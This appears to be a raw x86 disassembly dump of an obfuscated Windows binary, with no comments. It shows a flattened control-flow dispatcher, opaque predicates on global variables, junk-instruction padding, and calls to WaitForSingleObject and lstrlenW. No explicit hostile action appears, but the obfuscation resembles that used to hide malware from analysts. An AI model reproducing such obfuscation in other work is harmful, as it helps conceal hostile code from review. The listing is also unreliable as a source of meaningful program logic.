rcr eax, 0xf0
and edi, 0xa2
sbb eax, 0x7e
rcl eax, 0x21
inc eax
imul eax
dec edi
sub ebx, 0xb6
inc eax
neg edi
ror ebx, 0x2f
neg edx
ror edx, 0x3e
dec edx
rol esi, 0xd2
neg edx
neg edx
add eax, 0x88
neg ebx
rol ebx, 0xd3
sub esi, 0xe8
sbb edx, 0xaf
not ebx
sbb edi, 0xbb
inc eax
inc esi
dec edi
or eax, 0xf1
sbb edi, 0x5c
add ebx, 0x58
sub edi, 0xb2
rol edi, 0xfe
imul edx
imul edx
not edi
add esi, 0x8d
or eax, 0x76
and edi, 0x3f
and ebx, 0x4e
imul esi
imul edi
neg esi
ror eax, 0x49
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov eax, 0x96512d3a
jmp 0x402ce0
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x4c]
inc eax
mov dword [ecx], eax
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0xb3902385
and eax, 0x4c6fdc7a
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x4c6fdc7a
mov edi, esi
and edi, 0xb3902385
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x687a55b9
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4d6178], 0xa
mov dh, dl
setge cl
setl ch
or dh, ch
and dl, ch
mov ch, cl
mov al, cl
xor ch, ah
or al, ah
xor dh, 1
and ch, cl
and cl, ah
xor al, 1
or cl, dl
mov dl, ch
or al, dh
xor ch, cl
xor dl, 1
xor cl, 1
mov ah, al
or cl, dl
xor ah, 1
xor cl, 1
or cl, ch
mov edx, ecx
and al, cl
not dl
and dl, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0x35ce99ab
xor cl, al
test ah, 1
cmovne edx, esi
test al, 1
mov eax, 0x35ce99ab
jmp 0x40d8ff
mov eax, dword [ebp - 0x8c]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
rol ebx, 0xd4
mov ebx, 0xb9
or eax, 0xfc
sbb eax, 0x3c
sub ebx, 0x10
and eax, 0x24
inc edx
imul edx
bswap edx
imul edi
neg esi
mov eax, 0x4d
rcr esi, 0xe1
mov ebx, 0x66
inc ebx
sub edi, 0xc
imul eax
rol eax, 0x77
inc esi
and esi, 0x14
bswap ebx
neg eax
sbb edx, 0x93
sub edx, 0xee
or edx, 0x21
imul ebx
sub esi, 0x65
sbb edx, 0x5b
and edx, 0x56
imul edx
dec eax
inc ebx
not edx
ror esi, 0x2d
imul ebx
rol ebx, 0x58
imul ebx
not esi
not edx
imul ebx
rcr eax, 0x91
imul ebx
ror ebx, 0xf0
and esi, 0x13
mov esi, 0x71
or ebx, 0xe7
imul edx
inc esi
imul eax
or eax, 0x30
rcr edx, 0x88
rcr eax, 0xa7
ror esi, 0x14
bswap edi
ror ebx, 0x56
inc edx
mov ebx, 0xd6
not esi
sbb eax, 0x57
and esi, 0xbe
rcr edx, 0x35
add eax, 0x2b
ror eax, 0x34
rcr ebx, 0xb
rcl edx, 0xcb
ror ebx, 0x13
sub esi, 0xb4
imul ebx
neg edx
inc esi
dec eax
not ebx
rcl ebx, 0x2c
dec eax
inc esi
or edi, 0xa6
dec esi
sbb edi, 0xe
dec eax
mov edi, 0x69
rcl eax, 2
sub ebx, 0
ror ebx, 0xac
inc ebx
mov eax, 0xa
sub edx, 0x93
not ebx
rol edx, 0x37
mov edi, 0xe5
mov edx, 0x7a
dec edx
not edi
add edi, 0x2e
and edx, 0x27
sub ebx, 0xd0
dec edx
not esi
bswap eax
rol esi, 0x6b
not edx
or ebx, 0x2e
sbb ebx, 0x8f
rcl ebx, 0xcb
imul ebx
rol edx, 0x78
bswap edi
and eax, 0x94
not edi
neg esi
rcl eax, 0x10
imul edx
dec ebx
and ebx, 0x59
add edx, 0x6c
inc edx
imul esi
sbb edx, 0x2d
dec ebx
mov esi, 0xf4
rol eax, 0xcf
or edi, 0x71
sub esi, 0xa0
imul eax
not edx
sbb ebx, 0x8e
dec eax
bswap esi
bswap esi
rol ebx, 0x62
add ebx, 8
sbb edx, 0x97
bswap eax
imul edx
add edi, 0x6e
mov eax, 0x10
dec eax
and edx, 0xc1
dec edi
sbb edx, 0x9f
rcr ebx, 0x30
sbb ebx, 0xae
ror ebx, 0x8e
mov esi, 0x8e
neg edi
not eax
dec eax
bswap edi
neg eax
rcr esi, 0x8d
sbb esi, 0xd8
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfea31f7a
not edx
mov esi, edx
and ecx, eax
and esi, 0xfea31f7a
and edx, 0xde023780
and eax, 0x21fdc87f
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x213bb0fa
mov edx, eax
xor eax, 0xde023780
xor edx, 0x21fdc87f
and esi, 0xdec44f05
or ecx, esi
mov esi, ecx
xor esi, 0xdf98af81
xor ecx, 0x2067507e
and eax, esi
and edx, ecx
mov esi, 0xc513f17a
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
sete al
cmp dword [0x4d6178], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
and ch, cl
or dl, ah
and dh, al
xor al, ah
and al, ah
or dh, ch
xor al, 1
xor cl, dh
mov ah, al
or al, dl
and cl, dh
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
or al, cl
xor al, 1
or al, dl
xor dl, 1
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x4e5dff1
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x4e5dff1
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x402ce0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc4]
mov eax, dword [0x4d617c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x2e3db379
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0xd1c24c86
and eax, 0x2e3db379
or eax, ecx
mov esi, eax
xor esi, 0x6d7e9b42
mov edx, eax
and edx, 0xee9b640a
and esi, eax
not eax
and eax, 0x11649bf5
mov ebx, esi
not ebx
and esi, 0xef3fe69d
or edx, eax
mov eax, edx
xor eax, 0x11649bf5
xor edx, 0x6c1a0000
mov ecx, eax
or ecx, 0x928164bd
and edx, 0x6d3e8200
and eax, 0xfffffffe
mov edi, ecx
or ecx, ebx
and edi, 0x10c01962
and ebx, 0x10c01962
or edx, edi
or esi, ebx
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x56f9f3bf
mov edx, ecx
not edx
and ecx, 0x6a4e319d
and edx, 0x95b1ce62
or ecx, edx
xor ecx, 0x730aade
or eax, ecx
mov ecx, eax
xor ecx, 0xf33f3a4b
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0xcc0c5b4
and eax, 0xf33f3a4b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7884a65f
and ecx, 0x877b59a0
or ecx, eax
mov eax, ecx
xor eax, 0x28842608
xor ecx, 0x6309a0
and ecx, 0x506389f7
and eax, 0xaf9c7608
or eax, ecx
xor eax, 0xaf9c7608
sete dl
setne ah
cmp dword [0x4d6178], 0xa
setl cl
setge al
or al, ah
xor cl, dl
mov edx, ecx
mov ah, al
and cl, al
xor dl, 1
not ah
or al, dl
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0x57d15af8
cmovne ecx, esi
test dl, dl
mov esi, 0x57d15af8
jmp 0x40b551
mov eax, 0xf79d9941
jmp 0x402ce0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, 0x163621bb
jmp 0x402ce0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [ebp - 0xf4]
push dword [ebp - 0xf0]
vzeroupper
call fcn.00420960
add esp, 0xc
mov eax, 0x9a13016d
jmp 0x402ce0
mov eax, 0x717cc61a
jmp 0x402ce0
mov eax, 0x8f2f6616
jmp 0x402ce0
cmp dword [ebp - 0x1ac], 0
mov eax, 0xdcb2365
mov ecx, 0xa167a0e0
cmove eax, ecx
jmp 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0x6976d9
and ecx, 1
mov esi, edx
and edx, 0xff968926
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0xccc20ed8
mov edx, eax
xor edx, 0x6976d9
xor eax, 0xff968926
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x4d6178], 0xa
mov ch, cl
setl ah
setge al
and cl, ah
and ch, al
and ah, dl
or ah, ch
mov ch, ah
xor ch, al
and al, dl
and ch, ah
or al, cl
xor ch, 1
xor al, 1
mov cl, ch
xor cl, al
or al, ch
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xc71568ce
cmovne eax, esi
test cl, cl
not dl
mov ecx, 0xc71568ce
cmove eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402ce0
mov eax, dword [ebp - 0x19c]
mov ecx, 0x6e5442c8
cmp eax, 0xc
mov eax, 0x43e7e672
cmove eax, ecx
jmp 0x402ce0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [0x4d617c]
mov esi, 0xf0bed559
mov edi, 0x87c7f57b
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x7873f223
and edx, 0x7873f223
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x7873f222
and edx, 0x878c0ddd
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne ah
sete dl
cmp dword [0x4d6178], 0xa
setge ch
setl cl
mov al, ch
mov dh, ch
and cl, ah
or al, dl
and dh, dl
xor dl, ch
and dl, ch
or cl, dh
xor al, 1
or cl, dl
or al, dh
mov edx, ecx
mov ah, cl
xor al, 1
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor dl, 1
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0x87c7f57b
cmovne eax, esi
test cl, 1
cmovne eax, edi
jmp 0x40f0aa
mov ecx, dword [0x4d617c]
mov ebx, 0xcdab6e16
mov edi, 0xcdab6e16
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x4028c4e8
mov edx, ecx
and edx, 0x2d52113
and ecx, 0x2c7d82c6
or esi, edx
mov edx, eax
xor edx, 0x42fde5fb
and edx, eax
xor esi, 0x4028c4e8
and eax, 0xd3827d39
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x42fde5fa
xor eax, 0xd3827d39
and esi, 0xbd021a05
or edx, esi
mov esi, 0x47beefa4
not edx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x22747ae3
and ecx, 0xdd8b851c
or eax, ecx
xor eax, 0x22747ae3
sete ah
setne dl
cmp dword [0x4d6178], 0xa
mov dh, ah
setl ch
setge al
mov cl, ch
or dh, al
or cl, dl
and dl, ch
mov ch, al
xor dh, 1
xor ch, ah
xor cl, 1
and ch, al
and al, ah
or cl, dh
or al, dl
mov dl, ch
xor cl, 1
xor ch, al
xor dl, 1
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or al, ch
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test cl, 1
cmovne ebx, esi
test dl, 1
cmovne ebx, edi
test al, 1
cmove ebx, esi
mov eax, ebx
jmp 0x402ce0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x194]
mov dword [eax], ecx
mov eax, 0x4bb632b1
jmp 0x402ce0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
mov eax, 0xdedb9984
jmp 0x402ce0
mov eax, 0xa0980fdd
jmp 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc987e06c
and eax, 0x36781f93
or ecx, eax
mov eax, ecx
xor eax, 0xc8834044
xor ecx, 0x20481383
and ecx, 0x214cb3ab
and eax, 0xdeb34c54
or eax, ecx
mov ecx, eax
xor eax, 0x16910c54
xor ecx, 0x214cb3ab
mov edx, ecx
and eax, 0x36991d76
and ecx, 0xc966e289
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0xc966e288
or ecx, edx
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0xba88657d
and ecx, 0x45779a82
or eax, ecx
mov ecx, eax
xor ecx, 0xa2004550
xor eax, 0x45779a82
mov esi, eax
and esi, 0x1dbca02d
and ecx, 0xe2435fd2
or ecx, esi
mov esi, edx
not esi
and edx, 0xe2435fd2
or eax, esi
and esi, 0x1dbca02d
or edx, esi
not eax
mov esi, 0x72703b6d
xor edx, ecx
or eax, edx
sete ah
cmp dword [0x4d6178], 0xa
setl dl
setge cl
mov al, dl
inc cl
xor al, ah
mov ch, al
and al, dl
mov dl, ah
and ch, ah
xor dl, cl
or cl, ah
xor al, 1
xor ch, 1
xor dl, 1
mov ah, cl
mov dh, ch
xor ah, dl
or dl, cl
xor dh, al
or al, ch
xor dl, 1
xor al, 1
or dl, ah
or al, dh
mov ch, dl
mov ah, al
and ch, al
xor ah, 1
mov cl, ah
xor ah, dl
xor dl, 1
and cl, dl
or dl, al
xor dl, 1
or cl, ch
or dl, ah
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x8d13efe0
cmovne eax, esi
test dl, 1
mov edx, 0x8d13efe0
cmovne edx, eax
test cl, 1
jmp 0x40dc16
mov eax, 0xc5c9064d
jmp 0x402ce0
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x87c83aff
and ecx, 0x10098400
mov edx, eax
and edx, 0x7837c500
or eax, 0x60843001
or esi, edx
and eax, 0x6fd67339
mov edx, esi
xor esi, 0x60040000
xor edx, 0x800008c6
or ecx, eax
or esi, 0xf524338
and edx, 0x802008c6
and esi, 0x6fd67339
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0xe0a438c7
and eax, 0x1f5bc738
or ecx, eax
mov esi, ecx
xor esi, 0x93da0042
mov eax, ecx
and eax, 0xb38b6249
and esi, ecx
not ecx
and ecx, 0x4c749db6
or eax, ecx
mov edx, eax
mov edi, eax
xor edx, 0xb38b6249
xor edi, 0xdfae9df4
xor eax, 0x400530
and edi, edx
or edx, 1
and eax, 0x90412778
mov ecx, edi
not ecx
and edi, 0xdd904e1e
mov ebx, ecx
and ebx, 0x226fb1e1
or edi, ebx
mov ebx, esi
not ebx
and esi, 0xdd904e1e
or ecx, ebx
and ebx, 0x226fb1e1
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x1c512f1a
and esi, 0xe3aed0e5
or ecx, esi
mov esi, ecx
xor esi, 0x80012758
xor ecx, 0x7074d0a6
mov edi, ecx
or ecx, edx
and edx, 0x6fbed887
and edi, 0x6fbed887
and esi, 0x90412778
or esi, edi
or eax, edx
not ecx
xor eax, esi
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0xbded7456
and ecx, 0x42128ba9
mov edi, edx
not edi
and edx, 0x84cbdd1b
or eax, ecx
mov ecx, eax
xor ecx, 0x84c95412
xor eax, 0x42128ba9
mov esi, eax
or eax, edi
and edi, 0x7b3422e4
and esi, 0x7b3422e4
and ecx, 0x84cbdd1b
or ecx, esi
or edx, edi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8057cbc
and ecx, 0xf7fa8343
or eax, ecx
mov ecx, eax
xor ecx, 0x8013c80
xor eax, 0xc3020202
and eax, 0xc306423e
and ecx, 0x3cf9bdc1
or ecx, eax
cmp ecx, 0x3cf9bdc1
sete ah
cmp dword [0x4d6178], 0xa
setge cl
mov edx, ecx
xor dl, ah
or ah, cl
mov ch, dl
xor ch, 1
mov al, ch
and al, cl
and cl, dl
mov ebx, ecx
xor al, 1
xor cl, ch
not bl
mov dh, al
or al, ah
or bl, dl
xor dh, ah
xor al, 1
not bl
or al, dh
mov edx, 0x94001b91
or bl, cl
mov ecx, 0x70a9f3c
xor bl, al
and bl, 1
cmovne ecx, edx
test bl, al
mov edx, 0x70a9f3c
cmovne ecx, edx
test bl, bl
cmovne edx, ecx
test bl, al
jmp 0x40cd59
mov eax, 0x3672d246
jmp 0x402ce0
mov eax, dword [ebp - 0xf8]
mov ecx, dword [0x4d617c]
mov edi, 0x11e3778c
mov dword [ebp - 0xfc], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xb4d04b40
not edx
mov esi, edx
and ecx, eax
and esi, 0xb4d04b40
and edx, 0xef1fc80
and eax, 0xf10e037f
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x76a063f4
xor eax, 0xf10e037f
and esi, 0x895f9c0b
or ecx, esi
mov esi, 0x672deabd
xor ecx, 0x3d8fd74a
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6033f51c
and ecx, 0x9fcc0ae3
or eax, ecx
xor eax, 0x6033f51c
sete dh
setne ah
cmp dword [0x4d6178], 0xa
setge cl
mov ebx, ecx
mov ch, cl
mov al, cl
or cl, ah
inc bl
xor al, ah
xor cl, 1
and ch, bl
or cl, al
mov dl, al
xor ch, 1
xor cl, 1
xor dl, 1
mov bh, ch
or ch, bl
xor bh, bl
xor ch, 1
or ch, bh
mov bl, ch
and ch, dh
xor bl, 1
and bl, ah
or ch, bl
or cl, ch
xor al, cl
or cl, dl
mov edx, eax
xor dl, cl
not dl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0x11e3778c
cmovne eax, edi
test cl, 1
cmovne eax, edi
jmp 0x402ce0
mov eax, dword [ebp - 0x38]
mov ecx, dword [0x4d617c]
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x225c20e4
and ecx, 0xdda3df1b
or eax, ecx
mov ecx, eax
xor ecx, 0x20000e4
xor eax, 0x54a10c0b
and eax, 0x74fd2c0b
and ecx, 0x8b02d3f4
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x8b02d3f4
xor eax, 0x74fd2c0b
xor edx, 0x74fd2c0a
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xe402cb78
mov esi, ecx
and esi, 0x1bfd3487
or edx, esi
mov esi, eax
not esi
and eax, 0xe402cb78
or ecx, esi
and esi, 0x1bfd3487
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x6543d9a1
and ecx, 0x9abc265e
or eax, ecx
mov ecx, eax
xor ecx, 0x210380a1
xor eax, 0x9abc265e
mov esi, eax
and esi, 0x5c407d46
and ecx, 0xa3bf82b9
or ecx, esi
mov esi, edx
not esi
and edx, 0xa3bf82b9
or eax, esi
and esi, 0x5c407d46
or edx, esi
not eax
mov esi, 0x590bc5cb
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x85ddcc05
mov edx, ecx
and edx, 0x7a2233fa
or eax, edx
xor eax, 0x7a2233fa
xor ecx, eax
test ecx, eax
sete dl
setne ah
cmp dword [0x4d6178], 0xa
setge ch
setl cl
mov al, ch
xor al, ah
and ah, al
and al, ch
mov ch, ah
xor ah, al
xor al, 1
xor ch, 1
or al, ch
xor al, 1
or al, ah
mov ah, cl
xor cl, dl
or ah, dl
xor ah, 1
or cl, ah
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor dl, al
xor ah, 1
mov al, dl
or ah, cl
mov ecx, 0x4a18d61c
xor al, ah
not al
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x4a18d61c
cmovne eax, ecx
jmp 0x40b9df
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x134], eax
mov eax, 0x56bf00da
jmp 0x402ce0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x4d617c]
mov eax, dword [eax]
mov dword [ebp - 0x1c4], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
and eax, 0xa6c04008
mov ecx, edx
and ecx, 0x41814
and edx, 0x593ba7e3
or eax, ecx
xor eax, 0xa6c04008
or edx, eax
mov eax, edx
xor eax, 0xa93a8b77
mov ecx, edx
and ecx, 0xd688c375
and eax, edx
not edx
and edx, 0x29773c8a
or ecx, edx
mov edx, ecx
xor edx, 0xd688c375
xor ecx, 0x8361c02
mov esi, edx
and esi, 0xa93a8b77
or edx, 1
and ecx, 0x9abe1e32
or eax, esi
mov esi, eax
not esi
and eax, 0x9f932035
and esi, 0x606cdfca
or eax, esi
mov esi, eax
xor esi, 0x12a80a03
xor eax, 0xc95654bc
mov edi, eax
or eax, edx
and edx, 0x6541e1cc
and edi, 0x6541e1cc
and esi, 0x9abe1e33
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov edx, eax
xor edx, 0xcead7aa3
mov ecx, eax
and ecx, 0xe8c7a23
and edx, eax
not eax
and eax, 0xc0210080
or ecx, eax
mov eax, ecx
xor eax, 0x8883202
xor ecx, 0xf17385dc
mov esi, ecx
and esi, 0x97364da5
and eax, 0x48893202
or eax, esi
mov esi, edx
not esi
and edx, 0x68c9b25a
or ecx, esi
and esi, 0x97364da5
or edx, esi
not ecx
mov esi, 0x56f9f3bf
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xcead7aa3
and eax, 0x3152855c
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x9f47e313
mov edx, eax
and edx, 0x60b81cec
or ecx, edx
xor ecx, 0x9f47e313
or ecx, eax
xor ecx, 0xffffffff
sete ah
setne ch
cmp dword [0x4d6178], 0xa
mov dh, ah
setl cl
setge dl
mov al, cl
or dh, dl
and dl, ah
or al, ch
and ch, cl
or cl, ah
or dl, ch
mov ebx, eax
or al, dh
xor dl, 1
xor bl, dh
xor al, 1
mov ah, dl
or dl, cl
or al, bl
xor ah, cl
xor dl, 1
mov dh, al
or dl, ah
not dh
mov ah, dl
and dh, al
xor ah, 1
xor dh, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
xor ah, dh
or dh, al
xor dh, 1
or dh, ah
mov ah, al
xor dh, cl
xor ah, cl
or cl, al
xor cl, 1
mov al, dh
or cl, ah
xor al, cl
not al
test al, 1
mov eax, 0xd93d10f1
cmovne eax, esi
test cl, 1
mov esi, 0xd93d10f1
cmovne esi, eax
test dh, 1
cmovne esi, eax
mov eax, esi
jmp 0x402ce0
mov eax, dword [ebp - 0x38]
mov eax, 0x94e19613
jmp 0x402ce0
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x17c]
mov dword [eax], ecx
mov eax, 0xe66b6745
jmp 0x402ce0
mov eax, dword [ebp - 0x4c]
mov eax, 0x8f88c866
jmp 0x402ce0
mov eax, 0x23b8a2da
jmp 0x402ce0
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x44]
inc eax
mov dword [ecx], eax
mov eax, 0x635e095e
jmp 0x402ce0
mov ecx, dword [0x4d617c]
mov esi, 0x84afa9ab
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xa7766f9c
and edx, 0x58899062
or edx, ecx
mov ecx, eax
or ecx, 0xa7766f9c
and ecx, 0xa7766f9d
xor ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete dl
setne ah
cmp dword [0x4d6178], 0xa
setl cl
mov al, cl
xor ah, cl
xor cl, dl
or al, dl
xor ah, 1
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, al
and cl, al
or al, dl
not ah
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0xe5cd2850
cmovne ecx, esi
test dl, dl
mov esi, 0xe5cd2850
mov edx, ecx
cmovne edx, esi
test al, al
cmovne edx, ecx
mov eax, edx
jmp 0x402ce0
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
mov eax, edx
not eax
mov esi, edx
and esi, 0x28fae476
mov ecx, eax
and ecx, 0x97051b89
and eax, 0xf5e4c4be
or esi, ecx
mov ecx, edx
and ecx, 0x40000000
xor esi, 0x28fae476
or ecx, esi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0xa1b3b41
and edi, 0xa1b3b41
and esi, 0xf5e4c4be
or eax, edx
not ecx
or esi, edi
xor eax, esi
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xed961add
and eax, 0x1269e522
or ecx, eax
cmp ecx, 0xed961add
mov ecx, dword [0x4d617c]
setne byte [ebp - 0x7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x8cd773e1
not edx
mov esi, edx
and ecx, eax
and esi, 0x8cd773e1
and edx, 0x60c8cd00
and eax, 0x9f3732ff
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x8cd773e0
and esi, 0x73288c1f
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xcca2007e
mov esi, edx
and esi, 0x335dff81
or ecx, esi
mov esi, eax
xor esi, 0x8c22007e
xor eax, 0x2048cd00
and eax, 0x335dff81
and esi, 0xcca2007e
or esi, eax
xor esi, ecx
not esi
or esi, edx
cmp esi, 0xffffffff
mov esi, 0xe0b782cf
sete cl
cmp dword [0x4d6178], 0xa
setge al
xor al, cl
and cl, al
mov edx, ecx
xor dl, al
xor al, 1
and dl, cl
or al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x7748c832
jmp 0x40c11a
mov eax, 0x83e9f0d5
jmp 0x402ce0
mov eax, dword [ebp - 0x24]
mov eax, 0xbe841cc3
jmp 0x402ce0
cmp byte [ebp - 0x79], 0
mov eax, 0xc63da2f1
mov ecx, 0xd707383a
cmovne eax, ecx
jmp 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
not ecx
or edx, 0xdf27c1df
mov edi, ecx
mov esi, edx
and esi, 0xb8969e99
and edi, 0x482020
and ecx, 0xaa86beb5
or edi, esi
mov esi, eax
xor esi, 0x20d83e20
and esi, eax
and eax, 0x5579414a
mov ebx, esi
not ebx
and esi, 0x47696166
or eax, ecx
or edx, ebx
and ebx, 0xb8969e99
xor eax, 0x5579414a
or esi, ebx
not edx
xor esi, edi
or edx, esi
not esi
and esi, 0xdf27c1de
and edx, 0x20d83e21
or edx, esi
mov esi, 0x336e503
not edx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xbeac0276
and ecx, 0x4153fd89
or eax, ecx
xor eax, 0xbeac0276
sete dl
setne al
cmp dword [0x4d6178], 0xa
setge cl
setl ah
mov ch, cl
or cl, al
xor ch, al
xor al, ah
not al
and ch, dl
mov edx, ecx
and al, ah
or al, ch
xor al, 1
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xe7729560
cmovne eax, esi
test dl, dl
mov edx, 0xe7729560
cmovne eax, edx
test cl, cl
cmove eax, esi
jmp 0x402ce0
mov eax, dword [ebp - 0xa0]
mov eax, 0x71643b34
jmp 0x402ce0
push dword [ebp - 0x6c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x64]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x600992b6
jmp 0x402ce0
mov eax, 0xbba04192
jmp 0x402ce0
mov eax, 0x2d4e930b
jmp 0x402ce0
mov eax, 0xc032308a
jmp 0x402ce0
mov eax, 0x76067d65
jmp 0x402ce0
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
not ecx
and eax, 0xcf6a980f
mov edx, ecx
and edx, 0x309567f0
or eax, edx
mov edx, eax
not edx
and eax, 0x30dcdb57
